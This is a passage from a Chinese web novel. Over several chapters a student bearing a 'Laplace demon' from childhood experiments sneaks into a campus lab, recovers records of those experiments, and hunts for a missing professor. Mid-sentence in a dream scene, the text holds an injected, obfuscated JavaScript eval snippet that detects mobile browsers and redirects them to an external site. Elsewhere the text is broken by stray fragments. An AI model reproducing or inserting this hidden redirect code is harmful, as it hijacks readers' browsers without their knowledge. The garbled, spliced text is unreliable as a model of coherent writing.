顾子衿皱眉：“所以，现在‘H’也盯上这套系统，他们到底想干什么？”老人迟疑道：“恐怕还是为了延续研究，只不过动机更极端——听说他们想整合世界各国在网络与量子领域的机密数据，以此建立一个能‘演算未来’的庞大体系。只要能掌控所有信息节点，他们便可先人一步操纵国际政经大势。老严本想阻止，但恐怕已经凶多吉少……” 说到这里，罗博士突然神色一滞，迅速朝门口挥手示意：“嘘。”只见外面隐约传来脚步声。所有人刹那间噤若寒蝉。正当他们疑惑是谁闯进这荒废的馆内，那脚步声又似离开，杳无踪影。乔伊心惊道：“我们得赶快离开，这里不安全。” 罗博士收起台灯，一把抓住乔伊的手，小声道：“孩子，如果你能再见到老严，一定告诉他，别再和那些人硬碰硬。一旦拉普拉斯模型被‘H’激活，你可能会遭遇更可怕的利用或威逼。拿到的资料越多，你们也越危险。” 乔伊还想问更多，对方却示意：“够了，我说再多也没用。你们走吧，老头子我也该转移了。今天说的，算是死里逃生的吐露吧。”顾子衿、林忻与乔伊交换眼神，知道不能久留。三人只好半信半疑，跟着罗博士回到那扇破旧侧门。临别时，老人轻咳：“如果真要探寻更多，可以去学院实验南楼八层，那是最初实验设备存放处。也许你们能找到老严留下的只言片语。” 夜已过半，三人心头沉甸甸地返回宿舍区。一路上他们无言，直到快到宿舍楼门口才停步。顾子衿稳住情绪：“看样子，‘H’想要的东西更多，并非只局限于你脑中的那点预知。如果他们能全面激活量子架构，世界上任何系统就再没有秘密，连人类最私人化的思想或许都要暴露。他们说不定还会把它武器化，干涉各国决策。” 乔伊想起拉普拉斯妖那居高临下的口吻，心中一股寒气：“或许它本身就是一种武器，如果失去人性的约束，很可能成为摧毁理智与自由的灾祸。”她与拉普拉斯妖共生到如今，既不愿承认它是个纯粹恶灵，也不敢想象某天它真被彻底释放，会是什么下场。 林忻叹了口气：“我们下一步怎么做？直捣实验南楼八层吗？那里据说戒备森严，没有高层授权根本进不去。” 乔伊缓缓摇头：“不能鲁莽。先把今晚得到的信息与档案交给学姐，再一起商议。也许我们需要更多外援……还有，我还想再尝试联系严教授。哪怕只是一条暗号，也许他还活着。”她再度抚摸口袋里那几页“LPS-05”文件，仿佛那里藏着宿命的暗示，让她即便身处黑夜，也要继续前行。 回到宿舍后，他们各自分头洗漱，准备短暂休息一下，待天明再做打算。乔伊身心疲累，却怎么也睡不着，翻来覆去脑中尽是杂乱思绪。她最终还是坐起来，再次打开那几页实验记录。昏暗的台灯下，纸张泛黄，字迹陈旧，错落着曾经的狂妄与苦痛。她想起罗博士临别时的那句话：“一旦拉普拉斯模型被‘H’激活，你可能会遭遇更可怕的利用或威逼。” 乔伊忽然有些后怕，深感自己可能真成了某种“活钥匙”。无论是学院高层还是“H”，他们都虎视眈眈。她低声问自己：如果真有那么一天，拉普拉斯妖在她体内彻底苏醒，而她没有能力压制，那她会不会变成所有人争夺的棋子？甚至酿成一场灾难？ 桌上的手机振动一下，她拿起来一看，是个陌生号码发来的简短文字：“命运无法更改，但你可以选择遗忘。——L” 短短一句话，却像是一记惊雷。对方是谁？为什么对她说“你可以选择遗忘”？是让她放弃追查吗？还是另有深意？她立即回拨过去，却提示号码不存在。难道，这世界上有人在暗中保护她，或警告她？ 她神色枯竭地想：也许这就是拉普拉斯妖对“命运之轮”的注解。当所有人都想把握未来的方向，却没有人能真的跳出被演算的宿命。或者说，人类在绝对预知面前，只是彷徨无措的灰尘？这想法令她阵阵心悸。 终于，她实在见不着希望，只能趴在桌上痛苦地阖上眼睛，让沉沉困倦把她卷入一片浑噩的梦境。黑暗中，她仿佛再次置身于那个封闭病房，小小的自己坐在床沿，看着雪白墙壁上投射出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013890|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光影，无言哭泣。门外传来刺耳的仪器蜂鸣，以及听不清晰的交谈声；隐约有人喊着“继续进行——她能承受”。那一刻她瞧见，一个身穿白色实验袍的背影匆匆穿过走廊，隐约像是严教授，却又和她童年记忆里那个温暖身影重合不到一起。她几乎想要张口求救，却发不出声音，仿佛有人用力扼住了她的咽喉。 她惊醒时，天已蒙蒙亮。林忻在下铺翻身，看见乔伊一脸冷汗，赶忙爬起来关切地摸她额头：“你烧了吗？怎么这么烫？”乔伊摇摇头，猛灌了几口水：“只是噩梦而已。” 太阳尚未升起，窗外云层晦暗，预示又要下一场大雨。学姐、顾子衿都赶来找乔伊碰头，谈及昨晚与罗博士的对话。学姐先开了口：“这条线索很重要，但也很危险。学院实验南楼那个地方，我打听过，确实曾经是量子实验室所在地，现在多半成了封闭区域。怎么进，是个难题。” 顾子衿环抱双臂，思索片刻：“能不能让技术部的王哥帮咱们弄个临时出入证？或者伪造一点内部审批？”学姐有些担心：“那样风险更大，如果弄得不巧还会暴露王哥。”她顿了顿，“不过也不是没可能。再者，我们或许能趁夜里保安薄弱时强行潜入，但里头据说有电子门禁。” 乔伊感到脑袋又开始隐隐作痛，像是有股力量在敲击她的神经。拉普拉斯妖并未开口，但她仿佛能感受到它的存在；似乎在冷眼旁观，等着看她会如何选择。她轻轻揉额：“不管怎样，我还是想去看看。既然那是最初的实验设备存放处，也许有严教授与我童年时期更多原始记录。我得弄清楚我是谁，到底扮演了什么角色。” 林忻拍了拍她的手背以示支持：“那就先把计划细化，谁负责转移保安注意力，谁来破门禁，谁来搜资料……”她唇边浮现苦笑，“我们几个人，就像在演一场谍战大片似的。” 学姐也无奈叹口气：“事到如今，只能硬着头皮干。既然那老研究员给了线索，也表明严教授多半还没放弃。或许他在等我们去找他。只是我们必须有万全准备，否则一旦被‘H’或学院高层逮个正着，后果不敢想象。” 他们几人商议再三，拟定了一个看似可靠却充满隐患的潜入方案：由顾子衿先去王哥那边弄到临时通行卡；夜里十一点雷达监控切换时段，正好是门禁系统更新、保安相对松懈的空档；学姐和林忻负责外头放风，乔伊亲自进入八层档案室，尽力查找任何与“LPS-05”或“拉普拉斯建模”相关的物理设备或文献。时间只能给他们半小时，一旦拖延，保安恢复巡逻，就必定无处遁形。 乔伊不是不害怕，可她知道，这是唯一的出路。她不能再当一个懵懂的实验品，她有太多问题要问，唯有冲到最深处才能找到答案。 会议结束后，学姐正准备离开宿舍，忽然乔伊的手机又是一阵振动，依旧是那个陌生号码：“你们要去南楼？别踏进绝境。——L” 乔伊看得瞠目结舌，立刻抱给大家看。林忻吓到脸色苍白：“他怎么知道咱们计划？这是有人一直监听我们还是……”顾子衿也难以置信：“除非对方身处学院内部？且对你无恶意，若是‘H’，他们不会只发警告。” 乔伊望着屏幕上那句“别踏进绝境”，犹如在浓雾里看见一盏忽明忽暗的灯。她大抵能猜到，这个人不是单纯恐吓，而更像是一个无形中的协助者，或者也可能是拉普拉斯妖的某种化身在现实里的“代理人”？她不敢多想，只得收起手机，低声道：“这是我的命运，我既然踏上这条路，有再多阻挠也要走下去。” 林忻无奈苦笑：“行吧，小心就是。到时候我们不成功便成仁。” 顾子衿不再说话，只把通行卡的事记在心里，表示自己会尽快安排。学姐拍了拍乔伊的肩：“今晚早些休息，养足精神。拉普拉斯妖如果真会再次侵扰你，你也要想办法控制住自己的意识。别在关键时刻出状况。” 乔伊默默点头。伙伴们准备离开时，她忽然想起一事，连忙问：“对了，罗博士说‘H’不是只想要我，而是要整个量子网络主控权。万一他们成功了，会怎么样？”学姐回望：“恐怕没有人能幸免。预知未来只是开始，操控命运才是终点。我们若置之不理，终有一天所有人的意志都只能被迫随波逐流。” 宿舍门关上，乔伊一个人站在那，只有逐渐升亮的晨光陪伴。她垂眸看向那份“LPS-05”档案封皮，似乎又听见拉普拉斯妖幽幽的声音在她脑海中泛起：“你已经无法逃离……这是你与我的宿命。” 她没有回应，泪水却在眼眶里打转。她不知道自己还能不能回到那种单纯的日子，但她再也无法容忍自己的存在只是某个操控系统的附属品，不管是学院还是“H”。明知前路危险重重，她也只能选择继续往前，撕开那被尘封的迷雾。或许正因为这无奈与挣扎，她才真正拥有了对抗拉普拉斯妖的勇气。 当她下定决心，窗外的乌云似乎逐渐散开，颇有几分黎明到来的错觉，但她心里明白，这更像是暴风雨前的片刻安宁。今夜潜入南楼的一役，将是无法回头的险棋。 她微微蜷起手指，想起那条“别踏进绝境”的短信，可越是阻拦，她越想亲眼揭开那一层迷雾。她沉沉吐出一口气，对自己也好，对宿命也罢，说了一句话： “等到终局时，我才会知道，谁在俯瞰众生演算——又由谁点燃人心的火焰。” （本章完） 随着夜幕再次降临，乔伊与同伴们将试图混入南楼八层，寻找当年的核心设备与记录。昔日埋藏的秘密是否会再度揭示？“H”与保卫处是否已经布下更深陷阱？而那个不停给乔伊发警示短信的“L”到底是敌是友？ 一场命运与意志的博弈即将展开，若拉普拉斯妖在暗处苏醒，乔伊会否还能坚守自我？敬请期待后续剧情。 18. 霜华过境，未曾窥尽的星轨 乔伊站在宿舍的小阳台上，揉了揉太阳穴，清晨微光洒在她侧脸，却难以温暖她此刻慌乱的心。自从拿到“LPS-05”档案后，她的梦境一夜比一夜复杂，仿佛无数个支离破碎的画面在暗示她——那些童年失落的记忆被强行封印在某处，等待她去唤醒。只是，唤醒的代价会不会比她想象中更沉重？ 此时的街道还算平静，但乔伊敏锐地感觉到，学院里正暗流涌动。自从“档案馆旧楼闯入”事件传出，保卫处就把校园里每一个可疑角落都翻了个底朝天，想找出潜藏的“犯人”。“H”组织也绝不会停止动作。已是如此天罗地网，她若要深入实验南楼八层，还能找到什么突破口？ 正踌躇间，传来敲门声。林忻走进屋里，手里提着两杯打包好的豆浆和油条，看似平常，却硬生生在空气里添加了一丝紧张味。乔伊牵强地笑：“什么情况，还能吃得下东西？”林忻把一份塞给她：“虽说心慌，但空腹怎么打仗？顾子衿在楼下跟学姐碰头，说是要再确认通行卡的流程。咱们先垫垫饱，下午再集合商量。” 乔伊端起豆浆没喝两口，刚好瞥见桌上一摞散乱文件，上面写着她和顾子衿连夜做的行动简要规划。她轻声开口：“其实我一直在想——若那老研究员罗博士说的是真的，‘H’的目标不只是档案，还有量子主控系统。我们就算拿到更多证据，真的能阻止他们吗？” 林忻默默坐到她身边：“我们也许只能顶着无比艰难的处境，一步步做下去。你还记得当初为什么要找严教授帮忙吗？就是想让自己从各种阴谋猜疑里脱身。可现在看来，你或许肩负了更大的责任。”她顿了顿，“你脑子里的那个‘拉普拉斯妖’，恐怕是整套模型的终极产物。只要你还活着，它就可能被人利用。” 乔伊放下杯子，放任油条的热气一点点散去。她咽了口口水：“我想要的自由意志，究竟会不会在模型面前变得毫无意义？”她重新想起那熟悉的嘲笑声——拉普拉斯妖似在她耳畔轻语：“真可怜，你们做什么都是徒劳，你的命运早被算定。” 她能感受到这种干涉像毒蛇缠绕心脏，偶尔抽离，又随时回归。一直以来她抗拒与妖对话，可经历了 tantas次险境，她发现自己竟对“它”的存在产生了微妙的依赖。仿佛没有妖的出现，她会更恐慌无助。她极力稳住情绪，告诉自己：今天必须与大家一起行动，不容退缩。 午后时分，乔伊、林忻、顾子衿和学姐终于聚齐，四个人围坐在宿舍里。顾子衿拿出学长帮忙办的“临时通行证”，但神色依然凝重：“能用多久、能否通过生物识别不被识破，还很难说。学院对南楼的防范已经提高了三级，尤其是八层 QuantLab 区域，更是随时有人巡逻。” 学姐提议：“不妨我们分成里应外合两队：乔伊和顾子衿进入南楼，我和林忻留在外围用假信号干扰保卫处的监控。万一你们在里面触发了警报，就赶快带上你们能拿到的资料跑。”她看了看乔伊，“你是核心，非得进去才能找线索，但一定要注意安全。” 乔伊深吸一口气，握紧拳头：“好，我不想再逃避。只有切身见到那些设备、那些数据，我才能真正确认自己是谁。”她抬头与顾子衿交换眼神，彼此默契点头。多日相处下来，两人已经建立极高信任度。林忻拍了拍乔伊肩膀：“加油，我们会在偏僻角落给你们做暗号提示，一旦情况不对，就赶快撤出。” 就这样，夜幕降临前，四人兵分两路，向南楼出发。一路上，乔伊的心跳如战鼓敲击。她试图平复杂念，但一想到小时候曾在带着消毒水味的房间里度过无数个日夜，血液和哭声融汇成她对童年的唯一记忆，她就不禁有些喘不过气。为何？那些研究真的彻底侵蚀了她的人生吗？想到这里，她头开始钝痛，而那缥缈的冷笑又隐约浮起。 “别忘了我的存在。” 拉普拉斯妖的声音幽幽闯入她的脑海，仿佛夜色里一只看不见的魔手。乔伊心中一凛，暗暗想：如果你想影响我，那就来吧，但别想让我彻底屈服。 潜入与惊险 夜风凌冽，值班室里的灯光明灭不定。顾子衿拿着通行证带乔伊快步走到南楼入口——这里路灯略暗，能见度有限，保卫处配置的摄像头大多绕着外墙周边转动。两人趁着摄像头偏向，迅速贴墙而行，最后潜入一扇侧门。 踏入南楼内部时，一片死寂的走廊迎面扑来：墙壁喷涂着早期物理实验的示意图，地板闪着白过道灯，脚步回声显得诡异。在这种声响中，乔伊越发感觉像走入某种禁地，空气里似乎漂浮着久远机能运转过的味道。 她脑子里一面是深深恐惧，一面又有异样兴奋，因为这里或许就藏有她童年的答案。顾子衿轻声：“我们先去那边刷通行证，走消防楼梯往八层。电梯恐怕被监控得死死的。”乔伊答应一声，跟随他来到一台读卡器前。 顾子衿把临时通行证贴上扫描区，屏幕出现绿灯，但下一秒又闪烁几下，险些转为红色。乔伊屏息等待，所幸它最终没有报警，而是发出“滴”一声，锁闸松开。两人互视一眼，都在庆幸这一关勉强过了。 他们一路小跑，绕开几处摄像头后，来到消防楼梯。林忻己在远程协助，用假信号蒙蔽部分监控。但不能掉以轻心，每一级台阶都可能产生细碎声响。顾子衿把外套脱下来垫在脚下，乔伊跟着效仿，两人踩着衣物爬楼梯，也算降低了不少噪音。 无尽的台阶像通往黑暗尽头一般，高耸闭塞，只有楼层间偶尔的疏散指示牌光着微光。乔伊爬到第五层时日渐气喘，额头渗出薄汗，顾子衿也脸色绷紧。他们不敢多言，深恐一声响就能被任何可能存在的巡逻人员听见。 好不容易抵达八层。最后一道铁门外，走廊空敞但灯光通明，显然有人值守。顾子衿先轻探头，却没发现守卫。他想了想，小声对乔伊说：“我们最好可以将走廊另一端的监控引走，或者……干脆试着伪装学生来借用实验室？” 乔伊毫不迟疑地摇头：“这里是绝对封闭区，大晚上的谁会来做实验？” 两人正犹豫时，林忻那头紧急传来消息：他们在另一侧引发了小小骚动，把保卫处若干人手调去了楼下，你们抓紧时机！ “好，就是现在。”顾子衿拍了拍乔伊，深呼吸一下，然后拔动铁门锁，用通行证刷开。正式进入走廊后，他们发现尽头并没有人，却竖着警示牌：“内部验收中，闲人免进。”乔伊一咬牙，蹑手蹑脚地往尽头那扇半掩的房门走去。门上牌子写着“量子计算中心——资料管理室”。也许那正是他们要找的地方。 门缝里没开灯，里面阴沉沉。据之前得到的情报，资料管理室后端有一个独立机房，存放过时但尚在待处置的设备。严教授曾在此主持过早期试验，怪不得当年罗博士也说这里可能留有只言片语。 两人摸进室内，随手关上门，打开手电筒。昏暗中，纸质文件、杂物堆了三四大箱，还有散落的仪器和拆卸下来的服务器机壳。空气中带着旧纸发霉的味道和金属氧化的痕迹。乔伊忽然心里一颤：那种味道，是她童年时就认识的。她不知道为什么会如此熟悉，但所有感受都在提醒她，这里就是她的某种起点。 顾子衿轻声招呼：“过来，这里有个资料柜。”他用手电照向最右边，那里摆着三个锁着的金属柜，最上方贴着“LPS”字样模糊的标识。或许机缘就在此。 乔伊赶过去试着拽柜门，但锁头纹丝不动。她一时不知所措。顾子衿用力捶了一下，无果，只能苦笑：“只能块铁撬开？可那会发出很大动静啊。”乔伊皱眉沉吟，正想办法之时，拉普拉斯妖的声音再度不期然地闯进她意识：“右下角，那里有暗挡。” 她猛地一怔，下意识循着妖的暗示，把手探向柜门右下角，果然摸到一个很小的卡扣。往下用力一扳，竟真的听到“咔哒”声，随后锁头松落，柜门无声开启。顾子衿看呆了：“你……怎么知道？” 乔伊语带迟疑：“我也不确定，也许是以前见过类似柜子。”她不敢明说自己是听见“妖”的指示。那声音本该是她最不想接受的存在，但在关键时刻却屡屡相助，真让她又感激又害怕。 打开柜门后，只见里面竟是数十份旧档案，有些已泛黄或有水迹。顶部则横放着一个灰尘密布的笔记本电脑。顾子衿轻轻拿起本子，用衣服擦了擦屏幕：“看起来是以前的内部机。指不定还能打开。” 乔伊在旁翻找纸质档案，果然看到上面写着“J-01”的标签以及一些量子干涉理论数据。她越看越心惊：许多文字记录都直指“幼年体适应性测试”，还有一摞血液化验与脑波扫描图，清晰显示受试者年龄仅三、四岁，而代号J-01后面的真实姓名一栏，赫然就写着——乔伊。 看到这里，她双手止不住地发抖，以至于纸张边缘把手指割破，渗出血丝。她仿佛看见幼小的自己坐在空荡实验床上，被针管、仪器层层包围的恐怖画面。那一刻，她意识到“拉普拉斯模型”早在她童年就开始种下根，自己所谓自由成长的那些年，也许都只是一场可控剧目。 顾子衿见她脸色发白，赶紧劝道：“冷静点，这些都是过去的记录。我们先把关键的拍照备份，然后把电脑带走。” 乔伊死死咬住嘴唇，让自己不至于失声痛哭。她咬牙低声道：“好，拿走！”也许只有查明这到底是怎么回事，她才能摆脱被摆布的一生。 话音刚落，却听见门外隐约有脚步声传来。两人立刻收起东西，熄灭手电。脚步声靠近后停在门口，似乎有人在小声交谈：“他们说监控那边有信号，对，就是这层里……我们要不要进去？” 乔伊与顾子衿对视一瞬，噤若寒蝉。外头人又说了几句话，下一秒，门把手轻轻转动起来！乔伊心底猛地一沉，想也不想就躲到最近的一个柜子后方，还尽力把顾子衿也拉过来。两人屏息，祈祷对方没带手电或没立即开灯。 门被推开了，走进来的似乎是两名身穿保卫处制服的人。他们扫了扫昏暗房间，其中一人用对讲机呼叫：“资料管理室看着没异常，估计是虚惊一场。” 另一人倒有些狐疑：“再检查一下吧，我看这柜子门怎么半掩？” 说着，他走到乔伊所藏的那片区域。乔伊几乎能听见自己如雷般的心跳。若此刻被发现，就等于被逮个正着，一切泡汤！更可怕的是，她还拿着那些证据，要是被扣下，后果不堪设想。 确凿无疑的危急中，乔伊隐约又感到脑海里有股力量浮现——就和刚才一样，拉普拉斯妖似乎在给她“指明”一条路径。她脑子闪过一个极快的念头：左手边那个空置器械箱，还能躲进去。 顾子衿也惊出一身冷汗，但没有别的选择，两人轻手轻脚地往旁边挪动一点，趁保卫队员还没打开手机灯的空隙，猫腰钻进器械箱里。那箱子里布满灰尘，刺鼻味让人作呕，但总算隐蔽。 保卫队员走近柜子，看见柜门打开，嘟囔了几句：“锁是坏的吗？”随手把柜门又关上。另一个队员则打着手电东张西望，甚至扫到器械箱表面，好在箱体沉重，看不出异状。最后他们敷衍地转了一圈，似乎懒得多费事，嘀咕几句后离开了。 门外脚步声渐行渐远，直到彻底没了声息。器械箱里的乔伊和顾子衿这才松了一口气，相视苦笑。两人的脸、衣服都落满灰尘，却硬是在死神刀口下保住了档案。 爬出箱子后，乔伊简直想跪地谢天谢地：“差点就完了……”顾子衿立刻收拾手电与档案，催促：“别再久留，快走！” 他们把笔记本电脑塞进背包，又胡乱揣了几分重要纸质记录文件，然后踮脚离开管理室。顾子衿先探身到走廊确认无人，这才示意乔伊快跑。两人一起冲进楼梯间，屏息狂奔而下，几度险些崴脚。直到回到一层侧门才与学姐、林忻碰头，后者正着急观察四周，一见到两人，赶紧带他们离开南楼。 夜色中，四人穿过小广场，看似风平浪静，实则每根神经都在颤抖。当他们终于远离南楼视线范围，一种劫后余生的眩晕感席卷而来。学姐激动地上前抱住乔伊：“你们没事吧？听监控频道里有人报告说‘楼上可能有人影’，我还以为你们……吓死我了！” 乔伊此时才感觉到自己双腿都在打颤，但她压住内心风暴，勉强笑笑：“还好，我们拿到了一些东西，也算有所收获。”顾子衿把背包拍了拍：“电脑还不知道能不能开机，不过里面的资料肯定珍贵。”林忻一阵欣慰，却也深知此事远远没结束：“咱们赶紧回宿舍，把资料好好藏起来 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recalling了先前档案中某处提到的关键字符串“Lap_Memory_0512”。她把那串字符输入密码行，竟出乎意料地通过了登录。众人惊喜地对望——或许这是冥冥中的注定？ 电脑桌面简洁，只有几个文件夹。顾子衿先点开一个名为“Log_Childhood”的子目录。界面弹出许多视频剪影，时间标注长达数年之久。乔伊心下一沉，点击打开最早的一则文件，屏幕上顿时出现昏黄的室内画面。一个年幼的小女孩正被医疗人员带进房间，看不清脸，但轻声抽泣让人心痛。 镜头摇晃几下，一名白大褂背影出现：“时间：××年×月×日，实验对象J-01进行第三阶段意识引导。”随后，银灰色仪器闪烁，让小女孩的脑袋顶端也被固定了一圈导线。 视频没过几秒就被干扰，画面断断续续，但依稀可见女孩显露痛苦神情，医生急促呼喊：“她承受不住了！快暂停——”而白大褂却低声说：“继续。若此时放弃，之前的努力皆白费。” 场景戛然而止，取而代之的是系统报错信息，显示视频文件遭部分损坏。可乔伊仅看这几秒，就觉得心脏被尖锐刀片反复割裂，一股恶寒直冲脑门。她几乎能肯定：画面中的小女孩就是自己。当年她才三、四岁，无力挣扎，被迫成为科研的一枚活体实验道具。 她捂住嘴，泪水大颗滚落，发不出声响。林忻在旁也红了眼眶：“这……这是多么不人道……”顾子衿咬着牙，却不知道该如何安慰。学姐低声叹道：“学院当年怎么敢？到底是谁授权了这一切？是不是有更高层插手？” 乔伊平复许久才沙哑开口：“也许，这就是我和拉普拉斯妖的初始关联……他们想用我的大脑，去搭建某种量子预知体系。”她恍惚中好像从记忆深处看见那个白色实验房。自己孤身一人坐在床边，眼前万物都被大量指标和数据覆盖，仿佛全世界只剩下冰冷的精算。 她记不得当时的痛苦细节，却能感到一股怨恨在胸口翻腾：既有对执行者的恨，也有对自身曾经懦弱的自责。她深呼吸几下，下定决心道：“我必须把这些数据保存起来，不能让‘H’或任何同谋再有机会利用。哪怕我现在还没找到破解之法，但至少不能让他们肆意扩散。” 众人点头。顾子衿保留原硬盘镜像，又将视频另存到U盘里，打算加密后多处备份。学姐皱眉思索：“看电脑里除了视频，还有些文档。也许严教授曾想揭发，却没能成功。我们下次再仔细挖掘。”林忻翻看那份纸质档案，找到了更多标签为“量子脑场干涉”的论文草稿，以及某些花名册，上头列着几十个代码类似“J-01”的儿童信息。 乔伊难以置信地盯着表格：“还有其他孩子？那他们后来怎么样了……”学姐搓了搓脸庞：“如果实验失败，也许就被放弃了。也有可能像你一样安置回社会，只是记忆被屏蔽。谁知道？” 房间里一时安静，只剩下电脑风扇的嗡嗡声。最后林忻轻声劝大家：“我们的精力有限，现在需要先把资料安置好，避免暴露。然后明天再做深度分析。乔伊你也得休息，不然身体迟早熬垮。” 乔伊抬手擦了擦泪，却没说话。她轻轻合上档案袋，拿一块干净的布封住电脑摄像头，似是一种防范，也像是在遮住那些残酷事实。她心里已经在思索下一步：或许，我必须找到严教授本人。只有他才能真正帮她理解当年的一切，并寻找阻止“H”继续扩散的方法。 结尾与下一章悬念 处理完这些，外头已是深夜两三点。乔伊拖着酸软的身体回到床上，闭上眼帘，脑中却仍回荡着孩子的哭喊和噪音杂声。朦胧中，拉普拉斯妖又一次出现，似嘲似笑：“你已经看见了不堪回首的一角，可这还远远不够。人类对命运掌控的贪婪之心，不会因你几滴眼泪就停止。你所能做的选择，依旧在无数变量中摇摆不定。” 乔伊在意识深处与它对峙：“即便如此，我也不会再逃。” 夜风在窗外拂过，校园灯影似乎也变暗。乔伊半梦半醒间恍若见到一条无形的数据洪流正涌向她，逼她做出抉择；但她执意要守护自己和同伴的自由意志，哪怕要付出莫大代价。 忽然，她的手机震动了一下——又是那个神秘号码“L”发来的信息，只有简单一句：“不要忘记还有另一个出口，如果你真的想改变轨迹。” 乔伊茫然地翻看，却找不到更多线索。是谁一直在暗中指引？出口又意味着什么？ 她紧咬唇瓣，强迫自己先沉入睡眠，但冥冥中她似预感到——等到明日晨光再临，一场更大的风暴就会迅速席卷而来。严教授据说曾留下后手，会否真的助她打破这张预谋已久的高维罗网？她和伙伴们能否在“H”与学院双重追击中保住最后的自我？ （本章完） 乔伊已发现自己童年更多恐怖真相，且手中握有笔记本电脑与部分实验档案。随着各方势力的包围与追逐，她需要更强力的外援，也要冒险找寻严教授的真正下落。那个神秘的“L”又是谁？究竟是敌是友？拉普拉斯妖对她的干扰会否进一步加剧？超越人类意志的终极计算，是否就要在学院暗层被彻底激活？敬请期待后续剧情发展。 19. 尘埃落定前，谁曾在梦境里敲门 夜色正浓，宿舍区的白炽灯半明半暗地闪烁着。乔伊从并不安稳的短暂睡眠中猛然惊起，额角冷汗涔涔。她望向黑暗天花板，怔忡良久才翻身坐起，呼吸依旧急促。床边桌上，几份泛黄的档案纸零散堆叠，那是她和顾子衿前不久在实验南楼的“资料管理室”里冒险带出来的。那些见证她童年绝望的文字，却好像自带某种魔力，一点一点将她往过往的深渊里拖拽。她抬手想揉掉眼角余泪，可手却忍不住发抖，只得将那抖意强行压住，而脑海里，又响起了那熟悉且怪异的声音—— “再挣扎也无济于事，我亲爱的宿主。你已经看到了人类企图操纵命运的野心，难道不想知道更多吗？” 这声音低沉缥缈，就像许久前在梦里出现过无数次。她慢慢闭上眼睛，回答得有些恼怒：“闭嘴！我不是你的傀儡！” 然而那嗓音却带着轻笑：“你何时真能摆脱我？你想要阻止‘H’，探寻真相，却又离不开我。我在你血液里，也在你的意识间。而你……终将发现我们其实早已一体。” 乔伊咬牙不语。纵然她在理智上无比排斥这个所谓的“拉普拉斯妖”，可她无法否认，自从自己偷偷调取当年的实验视频后，脑海里它的出现变得越发频繁。它似懂得自己最脆弱的痛点，也似乎在每个危急关头给出指引——她恨极了被这样控制，却一次次差点“受用”。 “噩梦，真是噩梦。”乔伊摸到桌上手机，时间正好是凌晨四点。再也无法继续阖眼的她干脆披衣起床，翻开那堆旧档案。纸张皲裂的边缘写着“量子脑场干涉·特殊受试者J-01”，而那行“J-01”的真实姓名处恰是她自己。她逐字逐句地重看一遍，当瞥到“幼年阶段检测值异常稳定，进入第三期可行性较高”时，胸口又隐隐作痛。这所谓“稳定”，或许就是她被选中的理由？在她懵懂无助之龄，某些人对她下了精确的算计。 天快蒙蒙亮时，她终于疲惫地叹口气，想要找点热水洗漱，却猛地听见敲门声。 “乔伊，你还没睡吗？”是林忻的声音。她赶紧把档案收好，给室友开门。林忻气喘吁吁，一进门便道：“刚收到学姐信息，她追查监控时发现，昨天深夜学院外有人看到疑似……疑似严教授。虽然不确定，但咱们不能坐视。” 乔伊心头一惊：“你是说那位在我们资料里多次出现的严教授？不是传言他早退隐离开学校吗？” 林忻点头：“是啊，我们还以为他彻底销声匿迹。可学姐的线人说，那人相貌跟老照片里的严教授很像，似乎出现在校外偏僻街口，跟什么人接头……” 乔伊脑中蓦然闪过种种猜想。严教授曾是最早一批研究“量子预知”的核心人物，也极可能对她童年的命运负有某种责任。如果能当面问个清楚，也许一切疑团都会打开。可他究竟是友是敌？他当初为什么不阻止那些惨烈实验？ “好。”乔伊沉声道，“我们把顾子衿和学姐都找来，合计一下最好怎么做。” 于是，大清早的宿舍里，四个人匆匆聚首。顾子衿翻看手机，眉头紧锁：“校内最近有多方查访，‘H’的人肯定不会坐以待毙。如果严教授真的活着，还在附近，那他要么投靠‘H’，要么有什么不可告人的计划。” 学姐缓缓补充：“也许他藏在暗处观察正在发生的一切，也可能他被‘H’胁迫，不得不现身。总之，这线索来之不易，我们至少得守株待兔去试探。” 乔伊咬着下唇，想起上一次冒险探查时险象环生，却仍坚定地开口：“我必须见到他。至少想要问一问当年的事，他为何把一个孩子推上试验台。” 她眼神倔强而复杂。顾子衿看在眼里，忍不住握住她的手，轻声：“我跟你一起去。无论他是敌是友，都要当面把话说清。” 那天傍晚，乔伊一行四人分头行动。林忻和学姐做外围接应，安装临时监控；乔伊和顾子衿假装散步，绕过学院侧门，来到了那条人烟稀少的小巷。天边暮色低垂，空气有股潮湿的阴郁感。 郑重其事依旧没能掩盖内心忐忑，乔伊深呼吸，尽力平复心跳。一想到也许再过几分钟就能见到关键人物严教授，她手心又止不住发热。她害怕看到一个丧失良知的狠心科学家，也害怕对方根本不肯谈。 巷口并无异常，唯有昏黄路灯晕染一地暗影。顾子衿低声说：“学姐那边在附近布置了监听，只要有动静就会通知。”话音未落，学姐的信息就来了：“刚捕捉到巷子拐角似有人影闪过，很像那张老照片。你们小心点。” 乔伊和顾子衿对视一眼，轻轻点头，一前一后往里头探去。巷子很长，越往深处越破败，似乎有几家关门多年的店铺。两人放轻脚步，忽然间，顾子衿朝右侧猛拉乔伊闪身，藏到一扇废弃木门后——因为有三四个人影正朝他们迎面走来。 有限的光线里，能看到对方是便装打扮，但步伐沉稳，像是受过训练。其中一个人似乎拿着对讲机，低声交流：“还没见到严教授，是不是消息有误？”乔伊心下咯噔：果真不止他们在找严教授，“H”也很可能也派了人。 乔伊摒住呼吸，生怕一不留神就暴露。她握着顾子衿的手，指尖冰凉。顾子衿轻轻捏了捏她，给予安慰。对面那几个人检查了一圈，似乎并未发现他俩，然后继续朝巷尾走去。 这时拉普拉斯妖的声音又突兀在乔伊脑中响起：“你的猎物就在不远处，可也许根本不存在。你确定这是正确的路吗？”语气带着嘲弄。乔伊咬紧牙关心道：且不管真假，我都要试——那是她对自己和妖的暗自回应。 待那伙人走远，乔伊和顾子衿继续向巷尾摸索，并在一??不显眼的黑暗门洞处找到一条狭窄楼梯，通往某个老旧二楼。门廊上挂着破损的楼牌，几乎看不清字样，只余一个“研”字。顾子衿颇感古怪，但也顾不得多想，拉乔伊上去。 